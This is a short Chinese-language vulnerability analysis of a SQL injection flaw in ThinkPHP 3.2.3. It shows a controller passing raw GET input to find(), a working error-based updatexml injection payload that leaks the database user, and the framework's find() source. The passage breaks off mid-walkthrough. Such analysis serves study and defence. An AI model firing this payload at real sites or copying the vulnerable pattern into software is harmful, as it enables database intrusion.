thinkPHP3.2.3中sql注入漏洞
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $data = M('user')->find(I('GET.id')); var_dump($data); } }
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));
I和M方法都没有什么问题,真正的问题在于
public function find($options=array()) { // 根据复合主键查找记录 $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里 // 根据复合主键查询 $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 总是查找一条记录 $options['limit'] = 1; // 分析表达式 $options = $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用 $resultSet = $this->db->select($options);//重要的一步